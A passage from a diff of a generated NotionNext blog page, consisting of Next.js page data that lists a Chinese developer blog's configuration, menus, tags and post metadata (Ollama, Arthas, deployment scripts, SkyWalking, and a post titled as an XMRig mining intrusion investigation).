rue,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240325-ollama"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 